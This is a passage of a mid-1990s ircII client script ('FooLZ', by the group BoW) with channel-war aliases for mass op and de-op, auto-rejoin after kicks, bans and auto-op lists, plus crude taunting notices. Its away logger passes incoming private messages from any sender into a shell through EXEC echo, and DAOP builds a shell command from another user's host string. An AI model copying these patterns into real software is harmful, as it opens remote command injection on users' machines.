  701.   ALIAS FSPLIT {
  702.     IF ([$1]) {
  703.       SIGNOFF $1 $S
  704.    } {
  705.       SIGNOFF aych-pee.bow.org $S
  706.     }
  707.   }
  708.  
  709.  
  710.   ON ^SEND_NOTICE *
  711.  
  712.   ON ^CTCP "* CHAT" {
  713.     NOTICE $0 [FooLZ] DCC CHaT FLooD PRoTeCTiON - MSG Me YoU WaNT TO DCC CHaT
  714.   }
  715.  
  716.   ON ^NOTICE * {
  717.     IF ([$1]==[PONG]) {
  718.        CTCP $0 FooLZ PONG'S aRE LaME - GeT a ReAL FuCKiNG SKRiPT
  719.    } {
  720.       IF ([$1]==[Ouch!]) {
  721.          CTCP $0 FooLZ PING ReSPoNSeZ aRE LaME.. - GeT a ReAL FuCKiNG SKRiPT
  722.       } {
  723.          ECHO \-$0\- $1-
  724.       }
  725.     }
  726.   }
  727.  
  728.   ON ^MSG * {
  729.     IF (RMATCH($1 OP*)) {
  730.       IF (ISCHANOP($N $C)) {
  731.          OP_BEGGER $0 $C $1-
  732.       }
  733.    } {
  734.       IF (RMATCH($1 INVITE)) {
  735.          IF (ISCHANNEL($2)) {
  736.             IF (ISONCHAN($N $2)) {
  737.                IF (ISCHANOP($N $2)) {
  738.                   ^SET DISPLAY OFF
  739.                   INVITE $0 $2
  740.                   WAIT
  741.                   ^SET DISPLAY ON
  742.                   ECHO [FooLZ] iNViTiNG $0 To $2
  743.                   NOTICE $0 [FooLZ iNViTE BeGGER] - THeRE Y00 G0 BiTCH.
  744.                } {
  745.                   NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE DoN'T GoT DaH PLuS oH oN DaT CHaNNEL
  746.                }
  747.             } {
  748.                NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE aM NoT oN THaT CHaNNeL!
  749.             }
  750.          } {
  751.             NOTICE $0 [FooLZ iNViTE BeGGeR] - usage: /MSG $N INVITE <channel>
  752.          }
  753.       } {
  754.          IF ([$IS_AWAY]==[YES]) {
  755.             IF ([$SNOOP_MODE]==[ON]) {
  756.                ^ASSIGN LB \(
  757.                ^ASSIGN RB \)
  758.                ECHO [aWaY]:$BOLD$LB$BOLD$0$BOLD$RB$BOLD $1-
  759.                ^ASSIGN -LB
  760.                ^ASSIGN -RB
  761.             }
  762.             EXEC echo "$BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1-" >> ~/.FooLZ.aWaY
  763.             NOTICE $0 [FooLZ] $N iZ aWaY - $AWAY_MSG
  764.             NOTICE $0 [FooLZ] BuT We GoT YoUR MeSG aND WiLL SHooT iT To 'eM LaTaH - PHeAR
  765.          } {
  766.             ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2 $1- 
  767.          }
  768.        }
  769.     }
  770.   }
  771.  
  772.   ON #-MSG 111 * ^ADDMSG $0 $MSGLIST
  773.   ON ^SEND_MSG "* *" ECHO $BOLD$MSG_BRACE_1$BOLD$0$BOLD$MSG_BRACE_2$BOLD $1- 
  774.   ON #-SEND_MSG 111 * ^ADDMSG $0 $MSGLIST
  775.  
  776.   ON ^PUBLIC "% % !op*" {
  777.    OP_BEGGER $0-
  778.   }
  779.   ON -PUBLIC "* phear BoW*" {
  780.    MODE $1 +v $0 
  781.    NOTICE $0 AuTo-VoP FoR BoW PHeAReRz
  782.   }
  783.   ON ^PUBLIC "% % *PROTECTION ACTIVATED*" {
  784.    MSG $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
  785.    KICK $1 $0 [FooLZ] *** MASS LAMER PROTECTION ACTIVATED ***
  786.   }
  787.  
  788.   ON #-RAW_IRC -252 "% KICK % *" IF ([$3]==N){QUOTE JOIN $2}
  789.  
  790.   ON ^MODE "% #% *" {
  791.     IF ((RMATCH($0 *.*))&&(RMATCH($2 *+*o*))) {
  792.       IF (([$WARMODE]==[ON])&&(ISCHANOP($N $C))) {
  793.          MODE $1 -ooo $3-
  794.          ECHO [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' 
  795.          NOTICE $1 [FooLZ] IRC HaQR DeTeCTeD FrOM $0 oN $1 HaQiNG aWPZ: '$3-' 
  796.          NOTICE $1 [FooLZ] - [FooLZ iZ iN WaRMoDE] server ops revoked.
  797.       } {
  798.          REAL_MODE $0-
  799.       }
  800.    } {
  801.       IF (RMATCH($2 *-oo*)) {
  802.          IF ([$WARMODE]==[ON]) {
  803.             IF (ISCHANOP($N, $C)) {
  804.                IF ([$0] != [$N]) {
  805.                   MODE $1 -o $0
  806.                   ECHO [FooLZ] MaSS De-aWP DeTeCTeD By $0!
  807.                   NOTICE $1 [FooLZ] MaSS De-aWP DeTeCTeD By $0 - aWPz ReVoKeD!
  808.                }
  809.             } {
  810.                REAL_MODE $0-
  811.             }
  812.          } {
  813.             REAL_MODE $0-
  814.          }
  815.       } {
  816.          IF (RMATCH($2 *+b*)) {
  817.             IF (RMATCH($FOOLZ_INFO $3)) {
  818.                BAN_THIS_BITCH $0 $1 $3
  819.             }
  820.             IF (RMATCH($FOOLZ_INFO $4)) { 
  821.                BAN_THIS_BITCH $0 $1 $4
  822.             }
  823.             IF (RMATCH($FOOLZ_INFO $5)) {
  824.                BAN_THIS_BITCH $0 $1 $5
  825.             }
  826.             IF (RMATCH($FOOLZ_INFO $6)) {
  827.                BAN_THIS_BITCH $0 $1 $6
  828.             }
  829.          } 
  830.          REAL_MODE $0-
  831.       }
  832.     }
  833.   }
  834.  
  835.   ON -ACTION * {
  836.     IF (MATCH($N $2-)) {
  837.       IF (ISCHANOP($N $C)) {
  838.          IF ([$WARMODE]==[ON]) {
  839.             KICK $C $0 [FooLZ SPlATTeR PRoTeCTiON]
  840.          }{
  841.             MODE $C -o $0
  842.             NOTICE $0 [FooLZ] SPlATTeR KiCK PRoTeCTiON ACtiVaTeD
  843.          }
  844.       } 
  845.     }
  846.   }
  847.  
  848.   ON -JOIN * {
  849.     ^ASSIGN JCHAN $1
  850.     USERHOST $0 -CMD IF ([$3]) { 
  851.       ^ASSIGN USERSITE $3@$4 
  852.       IF (MATCH($USERSITE $AUTOOP)) {
  853.          IF (ISCHANOP($N $JCHAN)) {
  854.             MODE $JCHAN +ooo $0 $0 $0
  855.             NOTICE $0 [FooLZ] aUTo-aWP FoR ELiTE d00dzZ!!
  856.          }
  857.       }
  858.     }
  859.     ^ASSIGN -USERSITE
  860.     ^ASSIGN -FUQQ 
  861.   }
  862.  
  863.   # DaveMan's Ban2 for 2.2 clients       - 4/15/93
  864.   # Discription: Easy to use aliases to unban by login given a nick.
  865.   ALIAS DBAN {
  866.    IF ([$0]) {
  867.       USERHOST $0 -CMD ^ASSIGN DABAN $$0!$$3@$$4
  868.       NOTICE $0 [FooLZ] Your ban is cleared from $C - FooLZ Courtesy of BoW -
  869.    } {
  870.       USERHOST $N -CMD ^ASSIGN DABAN $$0!$$3@$$4
  871.    }
  872.    ^ON ^367 * IF (RMATCH($DABAN $2)){ @ BL = [$BL $2] }
  873.    ^ASSIGN CNT 0
  874.    ^MODE $C +b
  875.    WAIT
  876.  
  877.    WHILE (WORD($CNT $BL)){
  878.       UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
  879.       @ CNT = CNT + 3
  880.     }
  881.     ^ASSIGN -BL
  882.     ^ASSIGN -CNT
  883.     ^ON ^367 -
  884.   }
  885.  
  886.   ALIAS CLEARBAN {
  887.    ^ON ^367 * { 
  888.       @ BL = [$2 $BL] 
  889.    }
  890.    ^ASSIGN CNT 0
  891.    ^MODE $C +b
  892.    WAIT
  893.    WHILE (WORD($CNT $BL)){
  894.        UB4 $WORD($CNT $BL) $WORD(${CNT+1} $BL) $WORD(${CNT+2} $BL)
  895.        @ CNT = CNT + 3
  896.    }
  897.     ^ASSIGN -BL
  898.     ^ASSIGN -CNT
  899.     ^ON ^367 -*
  900.   }
  901.  
  902.   ALIAS CM {
  903.     /MODE $C -k$M
  904.   }
  905.  
  906.   ALIAS UB4 {
  907.     IF ([$2]!=[]) {
  908.       MODE $C -bbb $0-2
  909.    } {
  910.       IF (([$1]!=[])&&([$2]==[])) {
  911.          MODE $C -bb $0-1
  912.       } {
  913.          IF (([$0]!=[])&&([$1]==[])) { 
  914.             MODE $C -b $0
  915.          }
  916.        }
  917.     }
  918.   }
  919.  
  920.   # This is from a script called bans by Tychy. 
  921.   # Randomized ban version 1.27
  922.   # Written by Lance Herron (A.k.a. Tychy)
  923.   ALIAS BAN {
  924.     IF ([$0]) {
  925.       USERHOST $0 -CMD PHEAR $$4
  926.       NOTICE $0 [FooLZ] You have been banned from $C - FooLZ courtesy of BoW -
  927.       NOTICE $0 [FooLZ] phear BoW.
  928.    } {
  929.       SHOW_USAGE /BAN <user>
  930.     }
  931.   }
  932.   ALIAS PHEAR {
  933.     @ _HOST = [$0]
  934.     @ RANUMH = RAND($@_HOST) 
  935.     @ SCRBAN = [*!*@] ## SCRFNC($RANUMH $0)
  936.     MODE $C +b $SCRBAN
  937.     ^ASSIGN -_HOST
  938.     ^ASSIGN -RANUMH
  939.     ^ASSIGN -SCRBAN
  940.   }
  941.  
  942.   ASSIGN scros.0 ?
  943.   ASSIGN scros.1 ?
  944.   ASSIGN scros.2 *
  945.   ASSIGN scros.3 ?
  946.  
  947.   ALIAS SCRFNC {
  948.     @ NUMQUES = [$0]
  949.     @ LNUMQ = 0
  950.     @ TEMPSCR = [$1]
  951.     @ TOSCREWN = [$@TEMPSCR]
  952.     WHILE (LNUMQ < NUMQUES) {
  953.        @ TEMPRAND = RAND($TOSCREWN)
  954.        @ TEMPSCR = LEFT($TEMPRAND $TEMPSCR) ## SCROS[$RAND(3)] ## RIGHT(${ TOSCREWN - (TEMPRAND + 1) } $TEMPSCR)
  955.        @ LNUMQ = LNUMQ + 1
  956.    }
  957.     @ FUNCTION_RETURN = [$TEMPSCR]
  958.   }
  959.  
  960.   # Stuff from davemans
  961.   ALIAS REMOVE {
  962.     @ TCNT = 0
  963.     @ TEMP = []
  964.     @ $1 = [$($1) XX]
  965.     WHILE (WORD($TCNT $($1))!=[XX]) {
  966.       if ([$0]!=WORD($TCNT $($1))) {
  967.          @ TEMP = [$TEMP $WORD($TCNT $($1))]
  968.       }
  969.       @ TCNT = TCNT + 1 
  970.    }
  971.     @ $1 = [$TEMP]
  972.     ^ASSIGN -TEMP
  973.   }
  974.  
  975.   ALIAS ADDMSG {
  976.     IF (MATCH($0 $MSGLIST)) {
  977.       REMOVE $0 MSGLIST
  978.       @ MSGLIST = [$0 $MSGLIST]
  979.       @ MSGCNT = 0
  980.    } {
  981.       @ MSGLIST = [$0-9]
  982.       @ MSGCNT = 0
  983.     }
  984.   }
  985.  
  986.   ALIAS GETMSG {
  987.     TYPE ^U/MSG $($MSGCNT) 
  988.     @ MSGCNT = MSGCNT + 1
  989.     IF (#MSGLIST<MSGCNT) {
  990.       @ MSGCNT = 0
  991.     }
  992.   }
  993.  
  994.   /* I took this from textbox.. got no idea where he got it from.. */
  995.   /* found it was a bit buggy, so added in some shit..             */
  996.   ALIAS MDOP
  997.   {
  998.    IF (!ISCHANOP($N $C)) {
  999.       NOT_OPPED mass de-op.
  1000.    } {
  1001.       ^SET DISPLAY OFF
  1002.       ^ASSIGN -MDOPZ
  1003.       ^ON -WHO *
  1004.       {
  1005.          IF (([$1]!=[$N])&&(ISCHANOP($1 $C)))
  1006.          {
  1007.             ^ASSIGN MDOPZ $1 ${MDOPZ}
  1008.          }
  1009.       }
  1010.       ^WHO *
  1011.       WAIT
  1012.       ^SET DISPLAY ON
  1013.       @ MDOPCNT = 0
  1014.       WHILE ([$(#MDOPZ)] >= MDOPCNT)
  1015.       {
  1016.   /QUOTE MODE $C -ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
  1017.          @ MDOPCNT = MDOPCNT + 3
  1018.       }
  1019.       ^ASSIGN -MDOPZ
  1020.       ^ASSIGN -MDOPCNT
  1021.       NOTICE $C [FooLZ] A Mass De-Vop has been performed.
  1022.     }
  1023.   }
  1024.   ALIAS MVOP
  1025.   {
  1026.    IF (!ISCHANOP($N $C)) {
  1027.       NOT_OPPED mass vop.
  1028.    } {
  1029.   ^SET DISPLAY OFF
  1030.    ^ASSIGN -MDOPZ
  1031.   ^ON -WHO *
  1032.   {
  1033.     IF ([$1]!=[$N])
  1034.     {
  1035.       ^ASSIGN MDOPZ $1 ${MDOPZ}
  1036.     }
  1037.   }
  1038.   ^WHO *
  1039.   WAIT
  1040.   ^SET DISPLAY ON
  1041.   @ MDOPCNT = 0
  1042.   WHILE ([$(#MDOPZ)] >= MDOPCNT)
  1043.   {
  1044.     /QUOTE MODE $C +vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
  1045.     @ MDOPCNT = MDOPCNT + 3
  1046.   }
  1047.       ^ASSIGN -MDOPZ
  1048.       ^ASSIGN -MDOPCNT
  1049.       NOTICE $C [FooLZ] A Mass Vop has been performed.
  1050.     }
  1051.   }
  1052.   ALIAS MDVOP
  1053.   {
  1054.    IF (!ISCHANOP($N $C)) {
  1055.       NOT_OPPED mass de-vop.
  1056.    } {
  1057.       ^SET DISPLAY OFF
  1058.       ^ASSIGN -MDOPZ
  1059.       ^ON -WHO *
  1060.       {
  1061.          IF ([$1]!=[$N])
  1062.          {
  1063.             ^ASSIGN MDOPZ $1 ${MDOPZ}
  1064.          }
  1065.       }
  1066.       ^WHO *
  1067.       WAIT
  1068.       ^SET DISPLAY ON
  1069.       @ MDOPCNT = 0
  1070.       WHILE ([$(#MDOPZ)] >= MDOPCNT)
  1071.       {
  1072.     /QUOTE MODE $C -vvv $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
  1073.          @ MDOPCNT = MDOPCNT + 3
  1074.       }
  1075.       ^ASSIGN -MDOPZ
  1076.       ^ASSIGN -MDOPCNT
  1077.       NOTICE $C [FooLZ] A Mass De-Vop has been performed.
  1078.     }
  1079.   }
  1080.  
  1081.   alias mop
  1082.   {
  1083.    IF (!ISCHANOP($N $C)) {
  1084.       NOT_OPPED mass op.
  1085.    } {
  1086.       ^SET DISPLAY OFF
  1087.       ^ASSIGN -MDOPZ
  1088.       ^ON -WHO *
  1089.       {
  1090.          IF (([$1]!=[$N])&&(!ISCHANOP($1 $C)))
  1091.          {
  1092.             ^ASSIGN MDOPZ $1 ${MDOPZ}
  1093.          }
  1094.       }
  1095.       ^WHO *
  1096.       WAIT
  1097.       ^SET DISPLAY ON
  1098.       @ MDOPCNT = 0
  1099.       WHILE ([$(#MDOPZ)] >= MDOPCNT)
  1100.       {
  1101.   /QUOTE MODE $C +ooo $word($mdopcnt $mdopz) $word(${mdopcnt+1} $mdopz) $word(${mdopcnt+2} $mdopz)
  1102.          @ MDOPCNT = MDOPCNT + 3
  1103.       }
  1104.       ^ASSIGN -MDOPZ
  1105.       ^ASSIGN -MDOPCNT
  1106.       NOTICE $C [FooLZ] A Mass Op has been performed.
  1107.     }
  1108.   }
  1109.  
  1110.   # Now some BoW Stuff
  1111.   ALIAS W {
  1112.    IF ([$0]) {
  1113.       WHO $0-
  1114.    } {
  1115.       IF ([$C]) {
  1116.          WHO $C
  1117.       } {
  1118.          ECHO [FooLZ] FoOL!!! YoU MuST SPeCiFY a CHaNNeL oR Be oN oNE!
  1119.       }
  1120.     }
  1121.   }
  1122.   ALIAS J JOIN
  1123.   ALIAS M {
  1124.    IF ([$0]) {
  1125.      IF (ISCHANNEL($0)) {
  1126.         MODE $0-
  1127.      } {
  1128.         MODE $C $0-
  1129.      }
  1130.    } {
  1131.      MODE $C
  1132.    }
  1133.   }
  1134.   ALIAS T {
  1135.    IF ([$0]) {
  1136.       IF (ISCHANNEL($0)) {
  1137.          TOPIC $0-
  1138.       } {
  1139.          TOPIC $C $0-
  1140.       }
  1141.    } {
  1142.       IF ([$C]) {
  1143.          TOPIC $C
  1144.       } {
  1145.          ECHO [FooLZ] FoOL!!! YoU MuST Be oN a CHaNNeL oR SpECiFY oNE
  1146.       }
  1147.     }
  1148.   }
  1149.   ALIAS L {
  1150.    IF ([$0]) {
  1151.       PART $0-
  1152.    } {
  1153.       PART $C
  1154.    }
  1155.   }
  1156.  
  1157.   # Auto-op - idea taken from infitiy or toolz or one of those lame scripts
  1158.   # The source is entirely original however.. I have never seen the source
  1159.   # for the other dudes ways... only stole their idea..
  1160.   ALIAS AOP {
  1161.    ^ASSIGN FUQU \'s
  1162.    ^ASSIGN -PERSON
  1163.    IF ([$0]) {
  1164.       USERHOST $0 -CMD IF ([$3]) {
  1165.          ^ASSIGN PERSON $3@$4
  1166.          IF ([$3]==[<UNKNOWN>]) {
  1167.             ECHO [FooLZ] FoOL!@!! No SuCH NiCK $0
  1168.          } {
  1169.             IF (MATCH($PERSON $AUTOOP)) {
  1170.                ECHO [FooLZ] FoOL!! $PERSON iZ aLREaDY iN YeR aUTo-Op LiST
  1171.             } {
  1172.                ECHO [FooLZ] aDDiNG $0 2 YeR aUTo-Op LiST!
  1173.                @ AUTOOP = [$PERSON $AUTOOP] 
  1174.                NOTICE $0 [FooLZ] Y00 HaVE BeEN aDDeD To $N$FUQU aUTo-Op LiST
  1175.                NOTICE $0 [FooLZ] FooLZ iZ KoURTiSY oF BoW - pHeAR BoW.
  1176.                EXEC echo "RELOADAOP $PERSON" >> ~/.FooLZrc
  1177.                IF ((!ISCHANOP($0 $C))&&(ISCHANOP($N $C))) {
  1178.                   MODE $C +o $0
  1179.                }
  1180.             }
  1181.          }
  1182.       }
  1183.    } {
  1184.       SHOW_USAGE /AOP <nick>
  1185.    }
  1186.    ^ASSIGN -FUQU
  1187.    ^ASSIGN -PERSON
  1188.   }
  1189.  
  1190.   # called from the file...
  1191.   ALIAS RELOADAOP {
  1192.     IF ([$0]) {
  1193.       @ AUTOOP = [$0 $AUTOOP]
  1194.    }
  1195.   }
  1196.  
  1197.   ALIAS DAOP {
  1198.    ^ASSIGN -PERSON
  1199.    ^ASSIGN -NEWOPLIST
  1200.    ^ASSIGN -TEMPOP
  1201.    IF ([$0]) {
  1202.       USERHOST $0 -CMD IF ([$3]) {
  1203.          ^ASSIGN PERSON $3@$4
  1204.          IF (MATCH($PERSON $AUTOOP)) {
  1205.             ^ASSIGN OPCOUNT 0
  1206.             WHILE ([$(#AUTOOP)] >= OPCOUNT) {
  1207.                @ TEMPOP = WORD($OPCOUNT $AUTOOP)
  1208.                IF ([$PERSON]==[$TEMPOP]) {
  1209.                   EXEC grep -v $PERSON ~/.FooLZrc > ~/.FooLZ.bak \; mv ~/.FooLZ.bak ~/.FooLZrc
  1210.                   ECHO [FooLZ] $0 HaZ BeEN ReMoVeD FRoM YoUR oP LiST!
  1211.                } {
  1212.                   @ NEWOPLIST = [$NEWOPLIST $TEMPOP]
  1213.                }
  1214.                @ OPCOUNT = OPCOUNT + 1
  1215.             }
  1216.             @ AUTOOP = [$NEWOPLIST]
  1217.          } {
  1218.             ECHO [FooLZ] FoOL!!! $0 iZ NoT iN YoUR AuTo-aWP LiZT!
  1219.          }
  1220.       }
  1221.    } {
  1222.       SHOW_USAGE /DAOP <nick>
  1223.    }
  1224.     ^ASSIGN -PERSON
  1225.     ^ASSIGN -OPCOUNT
  1226.     ^ASSIGN -NEWOPLIST
  1227.     ^ASSIGN -TEMPOP
  1228.   }
  1229.  
  1230.   ALIAS SAOP {
  1231.     ECHO [FooLZ] YoUR aUTo-Op LiZT iZ: $AUTOOP
  1232.   }
  1233.  
  1234.   # When you are away, set logging to on..
  1235.   ALIAS LOG {
  1236.     ^ASSIGN IS_AWAY YES
  1237.     ECHO [FooLZ] LoGGiNG aLL MeSGz
  1238.   }
  1239.  
  1240.   ALIAS AWAY {
  1241.     IF ([$0]) {
  1242.       LOG
  1243.       ECHO [FooLZ] Y00 HaVE BeEN MaRKeD aS aWaY!!@
  1244.       ^ASSIGN AWAY_MSG $0-
  1245.       ^SET STATUS_FORMAT     Y00 aRe MaRKeD aZ aWaY - ReASoN: $AWAY_MSG - BoW '94 - %>%U%M%X%Y%Z
  1246.       ^SET DISPLAY OFF
  1247.       ^SET DISPLAY ON
  1248.    } {
  1249.       ^SET DISPLAY OFF
  1250.       ^SET DISPLAY ON
  1251.       ^ASSIGN IS_AWAY NO
  1252.       ^ASSIGN -AWAY_MSG
  1253.       ^SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z 
  1254.       ECHO [FooLZ] MeSGz SeNT T00 Y00 WHiLE Y00 WeRE aWAY
  1255.       EXEC cat /dev/null >> ~/.FooLZ.aWaY \; cat ~/.FooLZ.aWaY \; rm -f ~/.FooLZ.aWaY
  1256.     }
  1257.   }
  1258.  
  1259.   ALIAS K {
  1260.     ^ASSIGN FUQU FooLZ
  1261.     ^ASSIGN KNOTE $BOLD$MSG_BRACE_1$FUQU K-KiCK]$BOLD
  1262.     ^ASSIGN -FUQU
  1263.     ^ASSIGN KCHAN $C
  1264.     ^ASSIGN KLIST -
  1265.     ^ASSIGN KOUNT 0
  1266.     ^ASSIGN KKONT 0
  1267.     ^ASSIGN KTEMP -
  1268.     ^ASSIGN KNICK 
  1269.  
  1270.    IF ([$0]) {
  1271.       IF (!ISCHANOP($N $C)) {
  1272.          NOT_OPPED K-KiCK Someone.
  1273.       } { 
  1274.          IF (ISCHANNEL($0)) {
  1275.             @ KCHAN = [$0]
  1276.             @ KLIST = [$1-]
  1277.          } {
  1278.             @ KLIST = [$0-]
  1279.          }
  1280.          WHILE ([$(#KLIST)] > KOUNT) {
  1281.             @ KTEMP = WORD($KOUNT $KLIST)
  1282.             @ KOUNT = KOUNT + 1
  1283.             IF ([$KKONT]==[0]) {
  1284.                IF (ISONCHAN($KTEMP $KCHAN)) {
  1285.                   @ KNICK = [$KNICK $KTEMP]
  1286.                } {
  1287.                   @ KKONT = 1
  1288.                   @ KNOTE = [$KNOTE $KTEMP]
  1289.                } 
  1290.             } {
  1291.                @ KNOTE = [$KNOTE $KTEMP]
  1292.             }
  1293.          }
  1294.          @ KOUNT = 0
  1295.          IF ([$KNICK] == []) {
  1296.             SHOW_USAGE /K [channel] <nick> [nick2] [nick3] [comments]
  1297.          } {
  1298.             WHILE ([$(#KNICK)] > KOUNT) {
  1299.                @ KTEMP = WORD($KOUNT $KNICK)
  1300.                KICK $KCHAN $KTEMP $KNOTE
  1301.                NOTICE $KTEMP [FooLZ] You have been kicked from channel $KCHAN - $KNOTE
  1302.                @ KOUNT = KOUNT + 1
  1303.             }
  1304.          }
  1305.       }
  1306.    } {
  1307.       SHOW_USAGE /K [channel] <nick> [nick2] [nick3] [comments]
  1308.    }
  1309.  
  1310.     ^ASSIGN -KNOTE
  1311.     ^ASSIGN -KCHAN
  1312.     ^ASSIGN -KLIST
  1313.     ^ASSIGN -KOUNT
  1314.     ^ASSIGN -KKONT
  1315.     ^ASSIGN -KTEMP
  1316.     ^ASSIGN -KNICK 
  1317.   }
  1318.  
  1319.   ALIAS WAR {
  1320.     IF ([$WARMODE]==[ON]) {
  1321.       ^ASSIGN WARMODE OFF
  1322.       ECHO [FooLZ] Yo0 ARe No LoNG3R iN$BOLD WaR-MoDE$BOLD
  1323.       NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oFF ]
  1324.    } {
  1325.       ^ASSIGN WARMODE ON
  1326.       ECHO [FooLZ] Yo0 ARe NoW iN$BOLD WaR-MoDE$BOLD
  1327.       NOTICE $C [FooLZ] [$BOLD WaRMoDE$BOLD iS NoW oN ]
  1328.     }
  1329.   }
  1330.  
  1331.   ALIAS SNOOP {
  1332.     IF ([$SNOOP_MODE]==[OFF]) {
  1333.       ^ASSIGN SNOOP_MODE ON
  1334.       ECHO [FooLZ] Yo0 ARe NoW iN$BOLD SNo0P-MoDE$BOLD
  1335.       ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL Be DisPLaYeD]
  1336.    } {
  1337.       ^ASSIGN SNOOP_MODE OFF
  1338.       ECHO [FooLZ] Yo0 ARe No LoNGeR iN$BOLD SNo0P-MoDE$BOLD
  1339.       ECHO [FooLZ] [MeSSaGeZ SeNT T0 Yo0 WHiLE aWaY WiLL N0T Be DisPLaYeD]
  1340.     }
  1341.   }
  1342.  
  1343.   ALIAS SHOW {
  1344.    ECHO [FooLZ]            -++ FooLZ SeTTiNGz ++-
  1345.    ECHO [FooLZ] --+ FooLZ iZ KoURTiSY oF BoW - PHeAR BoW +--
  1346.    ECHO [FooLZ]    --+ "ONLY A FooL WoULD uSE FooLZ!" +--
  1347.    ECHO [FooLZ] +------------------------------------------+
  1348.    IF ([$WARMODE]==[ON]) {
  1349.      ECHO [FooLZ]               WARMODE   IS:$BOLD ON
  1350.    }{
  1351.      ECHO [FooLZ]               WARMODE   IS:$BOLD OFF
  1352.    }
  1353.    IF ([$SNOOP_MODE]==[ON]) {
  1354.      ECHO [FooLZ]               SNOOPMODE IS:$BOLD ON
  1355.    }{
  1356.      ECHO [FooLZ]               SNOOPMODE IS:$BOLD OFF
  1357.    }
  1358.    IF ([$IS_AWAY]==[YES]) {
  1359.      ECHO [FooLZ]               AWAY      IS:$BOLD ON
  1360.    }{
  1361.      ECHO [FooLZ]               AWAY      IS:$BOLD OFF
  1362.    }
  1363.   }
  1364.  
  1365.   ALIAS BEG {
  1366.     ^ASSIGN -CHANLIST 
  1367.     ^ASSIGN CHANCNT 0
  1368.     ^ASSIGN -DACHANOP
  1369.     IF (![$C]) { 
  1370.       ECHO [FooLZ] FoOL!! Yo0 MuST Be oN a CHaNNeL To BeG FoR aWPz
  1371.     }{
  1372.       IF (ISCHANOP($N $C)) {
  1373.          ECHO [FooLZ] Fo0L!!! Yo0 R aLReADY aWPeD!!
  1374.       } {
  1375.          ^ON -NAMES * {
  1376.             ^ASSIGN CHANLIST $1-
  1377.             WHILE ([$(#CHANLIST)] > CHANCNT) {
  1378.                ^ASSIGN DACHANOP $WORD($CHANCNT $CHANLIST)
  1379.                IF (RMATCH($DACHANOP @*)) {
  1380.                 ^ASSIGN NNX $@DACHANOP
  1381.                 @ NNX = NNX - 1
  1382.                 @DACHANOP =  RIGHT($NNX $DACHANOP)
  1383.                 NOTICE $DACHANOP [FooLZ aWP BeG] Y0Y0Y0Y0... SMaK Me WiT DaH PLuS oH! - PHeAR BoW -
  1384.                }
  1385.                @ CHANCNT = CHANCNT + 1
  1386.             }
  1387.          }
  1388.          ^SET DISPLAY OFF
  1389.          ^NAMES $C
  1390.          WAIT
  1391.          ^SET DISPLAY ON
  1392.          ECHO [FooLZ] BeGGiN FoR DaH oPZ
  1393.       }
  1394.    }
  1395.     ^ASSIGN -NNX
  1396.     ^ASSIGN -CHANLIST 
  1397.     ^ASSIGN -CHANCNT
  1398.     ^ASSIGN -DACHANOP
  1399.   }
  1400.  
  1401.   ALIAS TELL_USER {
  1402.     IF ([$0]) {
  1403.       IF ([$1]) {
  1404.          NOTICE $0 [FooLZ] You have been $1. - FooLZ courtesy of BoW -
  1405.       } {
  1406.          SHOW_USAGE /TELL_USER <user> <command>
  1407.       }
  1408.    } {
  1409.       SHOW_USAGE /TELL_USER <user> <command>
  1410.     }
  1411.   }
  1412.  
  1413.   ALIAS OP {
  1414.     IF (!ISCHANOP($N $C)) {
  1415.       NOT_OPPED OP Someone.
  1416.     } { 
  1417.       IF ([$0]) {
  1418.          IF ([$1]) {
  1419.             IF ([$2]) {
  1420.                MODE * +ooo $0 $1 $2
  1421.                IF (([$2]!=[$1])&&([$2]!=[$0])) {
  1422.                   TELL_USER $2 opped
  1423.                }
  1424.             } {
  1425.                MODE * +oo $0 $1
  1426.             }
  1427.             IF ([$1]!=[$0]) {
  1428.                TELL_USER $1 opped
  1429.             }
  1430.          } {
  1431.             MODE * +o $0
  1432.          }
  1433.          TELL_USER $0 opped
  1434.       } {
  1435.          SHOW_USAGE /OP <nick1> [nick2] [nick3]
  1436.       }
  1437.     }
  1438.   }
  1439.  
  1440.   ALIAS DOP {
  1441.     IF (!ISCHANOP($N $C)) {
  1442.       NOT_OPPED DOP Someone.
  1443.     } { 
  1444.       IF ([$0]) {
  1445.          IF ([$1]) {
  1446.             IF ([$2]) {
  1447.                MODE * -ooo $0 $1 $2
  1448.                IF (([$2]!=[$1])&&([$2]!=[$0])) {
  1449.                   TELL_USER $2 de-opped
  1450.                }
  1451.             } {
  1452.                MODE * -oo $0 $1
  1453.             }
  1454.             IF ([$1]!=[$0]) {
  1455.                TELL_USER $1 de-opped
  1456.             }
  1457.          } {
  1458.             MODE * -o $0
  1459.          }
  1460.          TELL_USER $0 de-opped
  1461.       } {
  1462.          SHOW_USAGE /DOP <nick1> [nick2] [nick3]
  1463.       }
  1464.     }
  1465.   }
  1466.  
  1467.   ALIAS VOP {
  1468.     IF (!ISCHANOP($N $C)) {
  1469.       NOT_OPPED VOP Someone.
  1470.     } { 
  1471.       IF ([$0]) {
  1472.          IF ([$1]) {
  1473.             IF ([$2]) {
  1474.                MODE * +vvv $0 $1 $2
  1475.                IF (([$2]!=[$1])&&([$2]!=[$0])) {
  1476.                   TELL_USER $2 vopped
  1477.                }
  1478.             } {
  1479.                MODE * +vv $0 $1
  1480.             }
  1481.             IF ([$1]!=[$0]) {
  1482.                TELL_USER $1 vopped
  1483.             }
  1484.          } {
  1485.             MODE * +v $0
  1486.          }
  1487.          TELL_USER $0 vopped
  1488.       } {
  1489.          SHOW_USAGE /VOP <nick1> [nick2] [nick3]
  1490.       }
  1491.     }
  1492.   }
  1493.  
  1494.   ALIAS DVOP {
